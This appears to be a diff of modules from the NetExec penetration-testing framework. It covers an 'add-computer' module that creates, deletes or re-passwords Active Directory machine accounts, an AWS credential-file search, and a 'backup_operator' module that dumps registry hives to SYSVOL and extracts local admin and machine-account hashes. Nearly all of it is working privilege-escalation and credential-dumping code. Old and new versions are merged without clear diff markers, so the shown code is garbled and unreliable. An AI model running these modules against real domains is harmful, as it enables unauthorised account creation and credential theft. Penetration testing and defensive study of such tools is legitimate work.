|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
from impacket.dcerpc.v5 import samr, epm, transport
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module by CyberCelt: @Cyb3rC3lt
|
||||
Refactored to use impacket LDAP CRUD operations instead of ldap3.
|
||||
|
||||
Initial module:
|
||||
Initial module:
|
||||
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
|
||||
Thanks to the guys at impacket for the original code
|
||||
"""
|
||||
|
||||
name = "add-computer"
|
||||
description = "Adds or deletes a domain computer via SAMR (SMB) or LDAP"
|
||||
supported_protocols = ["smb", "ldap"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
description = "Adds or deletes a domain computer"
|
||||
supported_protocols = ["smb"]
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
add-computer: Adds, deletes, or changes the password of a domain computer account.
|
||||
Uses SAMR when invoked with nxc smb.
|
||||
|
||||
NAME Computer name (required). Trailing '$' is added automatically.
|
||||
PASSWORD Computer password (required for add/changepw).
|
||||
DELETE Set to delete the computer account.
|
||||
CHANGEPW Set to change an existing computer's password.
|
||||
|
||||
Usage (same syntax for ldap):
|
||||
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password1"
|
||||
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True
|
||||
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
|
||||
add-computer: Specify add-computer to call the module using smb
|
||||
NAME: Specify the NAME option to name the Computer to be added
|
||||
PASSWORD: Specify the PASSWORD option to supply a password for the Computer to be added
|
||||
DELETE: Specify DELETE to remove a Computer
|
||||
CHANGEPW: Specify CHANGEPW to modify a Computer password
|
||||
Usage: nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password1"
|
||||
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True
|
||||
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
|
||||
"""
|
||||
self.delete = "DELETE" in module_options
|
||||
self.change_pw = False
|
||||
self.__baseDN = None
|
||||
self.__computerGroup = None
|
||||
self.__method = "SAMR"
|
||||
self.__noAdd = False
|
||||
self.__delete = False
|
||||
self.noLDAPRequired = False
|
||||
|
||||
if "CHANGEPW" in module_options:
|
||||
if "NAME" not in module_options or "PASSWORD" not in module_options:
|
||||
context.log.error("NAME and PASSWORD options are required for CHANGEPW!")
|
||||
sys.exit(1)
|
||||
self.change_pw = True
|
||||
if "DELETE" in module_options:
|
||||
self.__delete = True
|
||||
|
||||
if "NAME" not in module_options:
|
||||
if "CHANGEPW" in module_options and ("NAME" not in module_options or "PASSWORD" not in module_options):
|
||||
context.log.error("NAME and PASSWORD options are required!")
|
||||
sys.exit(1)
|
||||
elif "CHANGEPW" in module_options:
|
||||
self.__noAdd = True
|
||||
|
||||
if "NAME" in module_options:
|
||||
self.__computerName = module_options["NAME"]
|
||||
if self.__computerName[-1] != "$":
|
||||
self.__computerName += "$"
|
||||
else:
|
||||
context.log.error("NAME option is required!")
|
||||
sys.exit(1)
|
||||
|
||||
self.computer_name = module_options["NAME"]
|
||||
if not self.computer_name.endswith("$"):
|
||||
self.computer_name += "$"
|
||||
|
||||
if "PASSWORD" in module_options:
|
||||
self.computer_password = module_options["PASSWORD"]
|
||||
elif not self.delete:
|
||||
self.__computerPassword = module_options["PASSWORD"]
|
||||
elif "PASSWORD" not in module_options and not self.__delete:
|
||||
context.log.error("PASSWORD option is required!")
|
||||
sys.exit(1)
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
self.__domain = connection.domain
|
||||
self.__domainNetbios = connection.domain
|
||||
self.__kdcHost = connection.kdcHost
|
||||
self.__username = connection.username
|
||||
self.__password = connection.password
|
||||
self.__host = connection.host
|
||||
self.__port = context.smb_server_port
|
||||
self.__aesKey = context.aesKey
|
||||
self.__hashes = context.hash
|
||||
self.__doKerberos = connection.kerberos
|
||||
self.__nthash = ""
|
||||
self.__lmhash = ""
|
||||
|
||||
if connection.args.protocol == "smb":
|
||||
self._do_samr()
|
||||
elif connection.args.protocol == "ldap":
|
||||
self._do_ldap()
|
||||
if context.hash and ":" in context.hash[0]:
|
||||
hashList = context.hash[0].split(":")
|
||||
self.__nthash = hashList[-1]
|
||||
self.__lmhash = hashList[0]
|
||||
elif context.hash and ":" not in context.hash[0]:
|
||||
self.__nthash = context.hash[0]
|
||||
self.__lmhash = "00000000000000000000000000000000"
|
||||
|
||||
def _db_remove_credential(self):
|
||||
try:
|
||||
db = self.context.db
|
||||
domain = self.connection.domain
|
||||
rows = db.get_user(domain, self.computer_name) if hasattr(db, "get_user") else db.get_credentials(filter_term=self.computer_name)
|
||||
db.remove_credentials([row[0] for row in rows])
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Could not remove credentials from DB: {e}")
|
||||
# First try to add via SAMR over SMB
|
||||
self.do_samr_add(context)
|
||||
|
||||
def _db_add_credential(self):
|
||||
self.context.db.add_credential("plaintext", self.connection.domain, self.computer_name, self.computer_password)
|
||||
# If SAMR fails now try over LDAPS
|
||||
if not self.noLDAPRequired:
|
||||
self.do_ldaps_add(connection, context)
|
||||
|
||||
def _do_samr(self):
|
||||
try:
|
||||
dce = NXCRPCConnection(self.connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Failed to connect to SAMR: {e}")
|
||||
return
|
||||
def do_samr_add(self, context):
|
||||
"""
|
||||
Connects to a target server and performs various operations related to adding or deleting machine accounts.
|
||||
|
||||
try:
|
||||
self._samr_execute(dce, self.connection.conn.getRemoteName())
|
||||
finally:
|
||||
dce.disconnect()
|
||||
Args:
|
||||
----
|
||||
context (object): The context object.
|
||||
|
||||
def _samr_execute(self, dce, target_name):
|
||||
domain = self.connection.domain
|
||||
Returns:
|
||||
-------
|
||||
None
|
||||
"""
|
||||
string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
|
||||
string_binding = string_binding.replace(self.__host, self.__kdcHost) if self.__kdcHost is not None else string_binding
|
||||
|
||||
serv_handle = samr.hSamrConnect5(dce, f"\\\\{target_name}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)["ServerHandle"]
|
||||
domains = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)["Buffer"]["Buffer"]
|
||||
non_builtin = [d for d in domains if d["Name"].lower() != "builtin"]
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpc_transport.setRemoteHost(self.__host)
|
||||
|
||||
if len(non_builtin) > 1:
|
||||
matched = [d for d in domains if d["Name"].lower() == domain.lower()]
|
||||
if len(matched) != 1:
|
||||
self.context.log.fail(f"Domain '{domain}' not found. Available: {', '.join(d['Name'] for d in domains)}")
|
||||
return
|
||||
selected = matched[0]["Name"]
|
||||
if hasattr(rpc_transport, "set_credentials"):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
|
||||
|
||||
rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
|
||||
|
||||
dce = rpc_transport.get_dce_rpc()
|
||||
if self.__doKerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
dce.connect()
|
||||
dce.bind(samr.MSRPC_UUID_SAMR)
|
||||
|
||||
samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__kdcHost}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
|
||||
serv_handle = samr_connect_response["ServerHandle"]
|
||||
|
||||
samr_enum_response = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)
|
||||
domains = samr_enum_response["Buffer"]["Buffer"]
|
||||
domains_without_builtin = [domain for domain in domains if domain["Name"].lower() != "builtin"]
|
||||
if len(domains_without_builtin) > 1:
|
||||
domain = list(filter(lambda x: x["Name"].lower() == self.__domainNetbios, domains))
|
||||
if len(domain) != 1:
|
||||
context.log.highlight("{}".format('This domain does not exist: "' + self.__domainNetbios + '"'))
|
||||
context.log.highlight("Available domain(s):")
|
||||
for domain in domains:
|
||||
context.log.highlight(f" * {domain['Name']}")
|
||||
raise Exception
|
||||
else:
|
||||
selected_domain = domain[0]["Name"]
|
||||
else:
|
||||
selected = non_builtin[0]["Name"]
|
||||
selected_domain = domains_without_builtin[0]["Name"]
|
||||
|
||||
domain_sid = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected)["DomainId"]
|
||||
domain_handle = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)["DomainHandle"]
|
||||
samr_lookup_domain_response = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected_domain)
|
||||
domain_sid = samr_lookup_domain_response["DomainId"]
|
||||
|
||||
try:
|
||||
if self.delete or self.change_pw:
|
||||
user_handle = self._samr_open_existing(dce, domain_handle, selected, self.connection.username)
|
||||
context.log.debug(f"Opening domain {selected_domain}...")
|
||||
samr_open_domain_response = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)
|
||||
domain_handle = samr_open_domain_response["DomainHandle"]
|
||||
|
||||
if self.__noAdd or self.__delete:
|
||||
try:
|
||||
check_for_user = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code == 0xC0000073:
|
||||
context.log.highlight(f"{self.__computerName} not found in domain {selected_domain}")
|
||||
self.noLDAPRequired = True
|
||||
context.log.exception(e)
|
||||
|
||||
user_rid = check_for_user["RelativeIds"]["Element"][0]
|
||||
if self.__delete:
|
||||
access = samr.DELETE
|
||||
message = "delete"
|
||||
else:
|
||||
user_handle = self._samr_create(dce, domain_handle, self.connection.username)
|
||||
|
||||
if user_handle is None:
|
||||
return
|
||||
|
||||
if self.delete:
|
||||
samr.hSamrDeleteUser(dce, user_handle)
|
||||
user_handle = None
|
||||
self.context.log.highlight(f"Successfully deleted the '{self.computer_name}' Computer account")
|
||||
self._db_remove_credential()
|
||||
access = samr.USER_FORCE_PASSWORD_CHANGE
|
||||
message = "set the password for"
|
||||
try:
|
||||
open_user = samr.hSamrOpenUser(dce, domain_handle, access, user_rid)
|
||||
user_handle = open_user["UserHandle"]
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code == 0xC0000022:
|
||||
context.log.highlight(f"{self.__username + ' does not have the right to ' + message + ' ' + self.__computerName}")
|
||||
self.noLDAPRequired = True
|
||||
context.log.exception(e)
|
||||
else:
|
||||
if self.__computerName is not None:
|
||||
try:
|
||||
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
|
||||
self.noLDAPRequired = True
|
||||
context.log.highlight("{}".format('Computer account already exists with the name: "' + self.__computerName + '"'))
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code != 0xC0000073:
|
||||
raise
|
||||
else:
|
||||
samr.hSamrSetPasswordInternal4New(dce, user_handle, self.computer_password)
|
||||
if self.change_pw:
|
||||
self.context.log.highlight(f"Successfully changed password for '{self.computer_name}'")
|
||||
else:
|
||||
user_handle = self._samr_set_workstation_trust(dce, domain_handle, user_handle)
|
||||
self.context.log.highlight(f"Successfully added '{self.computer_name}' with password '{self.computer_password}'")
|
||||
self._db_add_credential()
|
||||
finally:
|
||||
found_unused = False
|
||||
while not found_unused:
|
||||
self.__computerName = self.generateComputerName()
|
||||
try:
|
||||
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code == 0xC0000073:
|
||||
found_unused = True
|
||||
else:
|
||||
raise
|
||||
try:
|
||||
create_user = samr.hSamrCreateUser2InDomain(
|
||||
dce,
|
||||
domain_handle,
|
||||
self.__computerName,
|
||||
samr.USER_WORKSTATION_TRUST_ACCOUNT,
|
||||
samr.USER_FORCE_PASSWORD_CHANGE,
|
||||
)
|
||||
self.noLDAPRequired = True
|
||||
context.log.highlight('Successfully added the machine account: "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"')
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code == 0xC0000022:
|
||||
context.log.highlight("{}".format('The following user does not have the right to create a computer account: "' + self.__username + '"'))
|
||||
elif e.error_code == 0xC00002E7:
|
||||
context.log.highlight("{}".format('The following user exceeded their machine account quota: "' + self.__username + '"'))
|
||||
context.log.exception(e)
|
||||
user_handle = create_user["UserHandle"]
|
||||
|
||||
if self.__delete:
|
||||
samr.hSamrDeleteUser(dce, user_handle)
|
||||
context.log.highlight("{}".format('Successfully deleted the "' + self.__computerName + '" Computer account'))
|
||||
self.noLDAPRequired = True
|
||||
user_handle = None
|
||||
else:
|
||||
samr.hSamrSetPasswordInternal4New(dce, user_handle, self.__computerPassword)
|
||||
if self.__noAdd:
|
||||
context.log.highlight("{}".format('Successfully set the password of machine "' + self.__computerName + '" with password "' + self.__computerPassword + '"'))
|
||||
self.noLDAPRequired = True
|
||||
else:
|
||||
check_for_user = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
|
||||
user_rid = check_for_user["RelativeIds"]["Element"][0]
|
||||
open_user = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)
|
||||
user_handle = open_user["UserHandle"]
|
||||
req = samr.SAMPR_USER_INFO_BUFFER()
|
||||
req["tag"] = samr.USER_INFORMATION_CLASS.UserControlInformation
|
||||
req["Control"]["UserAccountControl"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
|
||||
samr.hSamrSetInformationUser2(dce, user_handle, req)
|
||||
if not self.noLDAPRequired:
|
||||
context.log.highlight("{}".format('Successfully added the machine account "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"'))
|
||||
self.noLDAPRequired = True
|
||||
|
||||
if user_handle is not None:
|
||||
samr.hSamrCloseHandle(dce, user_handle)
|
||||
samr.hSamrCloseHandle(dce, domain_handle)
|
||||
samr.hSamrCloseHandle(dce, serv_handle)
|
||||
if domain_handle is not None:
|
||||
samr.hSamrCloseHandle(dce, domain_handle)
|
||||
if serv_handle is not None:
|
||||
samr.hSamrCloseHandle(dce, serv_handle)
|
||||
dce.disconnect()
|
||||
|
||||
def _samr_set_workstation_trust(self, dce, domain_handle, user_handle):
|
||||
user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.computer_name])["RelativeIds"]["Element"][0]
|
||||
samr.hSamrCloseHandle(dce, user_handle)
|
||||
new_handle = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)["UserHandle"]
|
||||
req = samr.SAMPR_USER_INFO_BUFFER()
|
||||
req["tag"] = samr.USER_INFORMATION_CLASS.UserControlInformation
|
||||
req["Control"]["UserAccountControl"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
|
||||
samr.hSamrSetInformationUser2(dce, new_handle, req)
|
||||
return new_handle
|
||||
def do_ldaps_add(self, connection, context):
|
||||
"""
|
||||
Performs an LDAPS add operation.
|
||||
|
||||
def _samr_open_existing(self, dce, domain_handle, selected_domain, username):
|
||||
try:
|
||||
user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.computer_name])["RelativeIds"]["Element"][0]
|
||||
except samr.DCERPCSessionError as e:
|
||||
if "STATUS_NONE_MAPPED" in str(e):
|
||||
self.context.log.fail(f"'{self.computer_name}' not found in domain {selected_domain}")
|
||||
else:
|
||||
self.context.log.fail(f"Error looking up {self.computer_name}: {e}")
|
||||
return None
|
||||
Args:
|
||||
----
|
||||
connection (Connection): The LDAP connection object.
|
||||
context (Context): The context object.
|
||||
|
||||
try:
|
||||
access = samr.DELETE if self.delete else samr.USER_FORCE_PASSWORD_CHANGE
|
||||
return samr.hSamrOpenUser(dce, domain_handle, access, user_rid)["UserHandle"]
|
||||
except samr.DCERPCSessionError as e:
|
||||
if "STATUS_ACCESS_DENIED" in str(e):
|
||||
action = "delete" if self.delete else "change password for"
|
||||
self.context.log.fail(f"{username} does not have the right to {action} '{self.computer_name}'")
|
||||
else:
|
||||
self.context.log.fail(f"Error opening {self.computer_name}: {e}")
|
||||
return None
|
||||
Returns:
|
||||
-------
|
||||
None
|
||||
|
||||
def _samr_create(self, dce, domain_handle, username):
|
||||
try:
|
||||
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.computer_name])
|
||||
self.context.log.fail(f"Computer '{self.computer_name}' already exists")
|
||||
return None
|
||||
except samr.DCERPCSessionError as e:
|
||||
if "STATUS_NONE_MAPPED" not in str(e):
|
||||
self.context.log.fail(f"Error looking up {self.computer_name}: {e}")
|
||||
return None
|
||||
|
||||
try:
|
||||
# Doing this call manually because of weird exception handling in https://github.com/fortra/impacket/blob/084aff60df7e8a5784bee3fb6ac74ed9d1362af8/impacket/dcerpc/v5/samr.py#L2591-L2599
|
||||
request = samr.SamrCreateUser2InDomain()
|
||||
request["DomainHandle"] = domain_handle
|
||||
request["Name"] = self.computer_name
|
||||
request["AccountType"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
|
||||
request["DesiredAccess"] = samr.USER_FORCE_PASSWORD_CHANGE
|
||||
return dce.request(request)["UserHandle"]
|
||||
except samr.DCERPCSessionError as e:
|
||||
if "STATUS_USER_EXISTS" in str(e):
|
||||
self.context.log.fail(f"Computer '{self.computer_name}' already exists")
|
||||
elif "STATUS_ACCESS_DENIED" in str(e):
|
||||
self.context.log.fail(f"{username} does not have the right to create a computer account")
|
||||
elif "STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED" in str(e):
|
||||
self.context.log.fail(f"{username} exceeded the machine account quota")
|
||||
else:
|
||||
self.context.log.fail(f"Error creating computer: {e}")
|
||||
return None
|
||||
|
||||
def _do_ldap(self):
|
||||
name = self.computer_name.rstrip("$")
|
||||
computer_dn = f"CN={name},CN=Computers,{self.connection.baseDN}"
|
||||
|
||||
if self.delete:
|
||||
self._ldap_delete(self.connection.ldap_connection, computer_dn)
|
||||
elif self.change_pw:
|
||||
self._ldap_change_password(self.connection.ldap_connection, computer_dn)
|
||||
else:
|
||||
self._ldap_add(self.connection.ldap_connection, computer_dn, name)
|
||||
|
||||
def _ldap_delete(self, ldap_conn, dn):
|
||||
try:
|
||||
ldap_conn.delete(dn)
|
||||
self.context.log.highlight(f'Successfully deleted the "{self.computer_name}" Computer account')
|
||||
self._db_remove_credential()
|
||||
except LDAPSessionError as e:
|
||||
if "noSuchObject" in str(e):
|
||||
self.context.log.fail(f'Computer "{self.computer_name}" was not found')
|
||||
elif "insufficientAccessRights" in str(e):
|
||||
self.context.log.fail(f'Insufficient rights to delete "{self.computer_name}"')
|
||||
else:
|
||||
self.context.log.fail(f'Failed to delete "{self.computer_name}": {e}')
|
||||
|
||||
def _ldap_change_password(self, ldap_conn, dn):
|
||||
try:
|
||||
encoded_pw = f'"{self.computer_password}"'.encode("utf-16-le")
|
||||
ldap_conn.modify(dn, {"unicodePwd": [(MODIFY_REPLACE, encoded_pw)]})
|
||||
self.context.log.highlight(f"Successfully changed password for '{self.computer_name}'")
|
||||
self._db_add_credential()
|
||||
except LDAPSessionError as e:
|
||||
if "noSuchObject" in str(e):
|
||||
self.context.log.fail(f'Computer "{self.computer_name}" was not found')
|
||||
elif "insufficientAccessRights" in str(e):
|
||||
self.context.log.fail(f'Insufficient rights to change password for "{self.computer_name}"')
|
||||
elif "unwillingToPerform" in str(e):
|
||||
self.context.log.fail(f'Server unwilling to change password for "{self.computer_name}"')
|
||||
else:
|
||||
self.context.log.fail(f'Failed to change password for "{self.computer_name}": {e}')
|
||||
|
||||
def _ldap_add(self, ldap_conn, dn, name):
|
||||
fqdn = f"{name}.{self.connection.domain}"
|
||||
Raises:
|
||||
------
|
||||
None
|
||||
"""
|
||||
ldap_domain = connection.domain.replace(".", ",dc=")
|
||||
spns = [
|
||||
f"HOST/{name}",
|
||||
f"HOST/{fqdn}",
|
||||
f"RestrictedKrbHost/{name}",
|
||||
f"RestrictedKrbHost/{fqdn}",
|
||||
f"HOST/{self.__computerName}",
|
||||
f"HOST/{self.__computerName}.{connection.domain}",
|
||||
f"RestrictedKrbHost/{self.__computerName}",
|
||||
f"RestrictedKrbHost/{self.__computerName}.{connection.domain}",
|
||||
]
|
||||
ucd = {
|
||||
"dnsHostName": f"{self.__computerName}.{connection.domain}",
|
||||
"userAccountControl": 0x1000,
|
||||
"servicePrincipalName": spns,
|
||||
"sAMAccountName": self.__computerName,
|
||||
"unicodePwd": f"{self.__computerPassword}".encode("utf-16-le")
|
||||
}
|
||||
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0")
|
||||
ldap_server = ldap3.Server(connection.host, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls)
|
||||
c = ldap3.Connection(ldap_server, f"{connection.username}@{connection.domain}", connection.password)
|
||||
c.bind()
|
||||
|
||||
try:
|
||||
ldap_conn.add(
|
||||
dn,
|
||||
["top", "person", "organizationalPerson", "user", "computer"],
|
||||
{
|
||||
"dnsHostName": fqdn,
|
||||
"userAccountControl": 0x1000,
|
||||
"servicePrincipalName": spns,
|
||||
"sAMAccountName": self.computer_name,
|
||||
"unicodePwd": f'"{self.computer_password}"'.encode("utf-16-le"),
|
||||
},
|
||||
)
|
||||
self.context.log.highlight(f'Successfully added "{self.computer_name}" with password "{self.computer_password}"')
|
||||
self._db_add_credential()
|
||||
except LDAPSessionError as e:
|
||||
if "entryAlreadyExists" in str(e):
|
||||
self.context.log.fail(f"Computer '{self.computer_name}' already exists")
|
||||
elif "insufficientAccessRights" in str(e):
|
||||
self.context.log.fail(f"Insufficient rights to add '{self.computer_name}'")
|
||||
elif "unwillingToPerform" in str(e):
|
||||
self.context.log.fail("Server unwilling to perform")
|
||||
elif "constraintViolation" in str(e):
|
||||
self.context.log.fail(f"Constraint violation for '{self.computer_name}'. Quota exceeded or password policy.")
|
||||
if self.__delete:
|
||||
result = c.delete(f"cn={self.__computerName},cn=Computers,dc={ldap_domain}")
|
||||
if result:
|
||||
context.log.highlight(f'Successfully deleted the "{self.__computerName}" Computer account')
|
||||
elif result is False and c.last_error == "noSuchObject":
|
||||
context.log.highlight(f'Computer named "{self.__computerName}" was not found')
|
||||
elif result is False and c.last_error == "insufficientAccessRights":
|
||||
context.log.highlight(f'Insufficient Access Rights to delete the Computer "{self.__computerName}"')
|
||||
else:
|
||||
self.context.log.fail(f"Failed to add '{self.computer_name}': {e}")
|
||||
context.log.highlight(f'Unable to delete the "{self.__computerName}" Computer account. The error was: {c.last_error}')
|
||||
else:
|
||||
result = c.add(
|
||||
f"cn={self.__computerName},cn=Computers,dc={ldap_domain}",
|
||||
["top", "person", "organizationalPerson", "user", "computer"],
|
||||
ucd
|
||||
)
|
||||
if result:
|
||||
context.log.highlight(f'Successfully added the machine account: "{self.__computerName}" with Password: "{self.__computerPassword}"')
|
||||
context.log.highlight("You can try to verify this with the nxc command:")
|
||||
context.log.highlight(f"nxc ldap {connection.host} -u {connection.username} -p {connection.password} -M group-mem -o GROUP='Domain Computers'")
|
||||
elif result is False and c.last_error == "entryAlreadyExists":
|
||||
context.log.highlight(f"The Computer account '{self.__computerName}' already exists")
|
||||
elif not result:
|
||||
context.log.highlight(f"Unable to add the '{self.__computerName}' Computer account. The error was: {c.last_error}")
|
||||
c.unbind()
|
||||
@@ -1,6 +1,3 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Search for aws credentials files on linux and windows machines
|
||||
@@ -11,7 +8,6 @@ class NXCModule:
|
||||
name = "aws-credentials"
|
||||
description = "Search for aws credentials files."
|
||||
supported_protocols = ["ssh", "smb", "winrm"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def __init__(self):
|
||||
self.search_path_linux = "'/home/' '/tmp/'"
|
||||
|
||||
+70
-134
@@ -1,45 +1,48 @@
|
||||
import contextlib
|
||||
import re
|
||||
import time
|
||||
import os
|
||||
import datetime
|
||||
|
||||
from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
|
||||
from impacket.smbconnection import SessionError
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from nxc.helpers.misc import CATEGORY, gen_random_string
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
from impacket.dcerpc.v5 import transport, rrp
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "backup_operator"
|
||||
description = "Exploit user in backup operator group to dump NTDS @mpgn_x64"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.local_admin = None
|
||||
self.local_admin_hash = None
|
||||
self.machine_account = None
|
||||
self.machine_account_hash = None
|
||||
self.cleanup_user = None
|
||||
self.cleanup_hash = None
|
||||
self.domain_admin = None
|
||||
self.domain_admin_hash = None
|
||||
self.deleted_files = True # flag to check if SAM/SYSTEM/SECURITY files were deleted
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""NO OPTIONS"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
connection.args.share = "SYSVOL"
|
||||
rand_suffix = gen_random_string(8)
|
||||
|
||||
# enable remote registry
|
||||
context.log.display("Triggering RemoteRegistry to start through named pipe...")
|
||||
connection.trigger_winreg()
|
||||
dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
|
||||
self.trigger_winreg(connection.conn, context)
|
||||
rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
|
||||
rpc.set_smb_connection(connection.conn)
|
||||
if connection.kerberos:
|
||||
rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
|
||||
dce = rpc.get_dce_rpc()
|
||||
if connection.kerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
dce.connect()
|
||||
dce.bind(rrp.MSRPC_UUID_RRP)
|
||||
|
||||
try:
|
||||
for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]:
|
||||
hRootKey, subKey = self._strip_root_key(dce, hive)
|
||||
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}"
|
||||
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}"
|
||||
context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
|
||||
try:
|
||||
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ)
|
||||
@@ -49,152 +52,85 @@ class NXCModule:
|
||||
context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}")
|
||||
return
|
||||
except (Exception, KeyboardInterrupt) as e:
|
||||
context.log.fail(f"Unexpected error: {e}")
|
||||
return
|
||||
context.log.fail(str(e))
|
||||
finally:
|
||||
with contextlib.suppress(Exception):
|
||||
dce.disconnect()
|
||||
dce.disconnect()
|
||||
|
||||
# copy remote file to local
|
||||
log_path = f"{connection.output_filename}."
|
||||
log_path = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.".replace(":", "-"))
|
||||
for hive in ["SAM", "SECURITY", "SYSTEM"]:
|
||||
connection.get_file_single(f"{hive}_{rand_suffix}", log_path + hive)
|
||||
connection.get_file_single(hive, log_path + hive)
|
||||
|
||||
# read local file
|
||||
try:
|
||||
def parse_sam(secret):
|
||||
context.log.highlight(secret)
|
||||
if not self.local_admin:
|
||||
if not self.domain_admin:
|
||||
first_line = secret.strip().splitlines()[0]
|
||||
fields = first_line.split(":")
|
||||
if len(fields) >= 4:
|
||||
self.local_admin = fields[0]
|
||||
self.local_admin_hash = fields[3]
|
||||
|
||||
def parse_lsa(secret_type, secret):
|
||||
context.log.highlight(secret)
|
||||
if self.machine_account:
|
||||
return
|
||||
for line in secret.splitlines():
|
||||
match = re.search(r"aad3b435b51404eeaad3b435b51404ee:([0-9a-f]{32})", line, re.IGNORECASE)
|
||||
if match:
|
||||
self.machine_account_hash = match.group(1)
|
||||
account_name = line.split(":", 1)[0].strip().split("\\")[-1]
|
||||
# "$MACHINE.ACC" has no real name -> derive it from the connection.
|
||||
self.machine_account = account_name if account_name.endswith("$") else f"{connection.hostname}$"
|
||||
return
|
||||
self.domain_admin = fields[0]
|
||||
self.domain_admin_hash = fields[3]
|
||||
|
||||
local_operations = LocalOperations(log_path + "SYSTEM")
|
||||
boot_key = local_operations.getBootKey()
|
||||
sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=parse_sam)
|
||||
sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret))
|
||||
sam_hashes.dump()
|
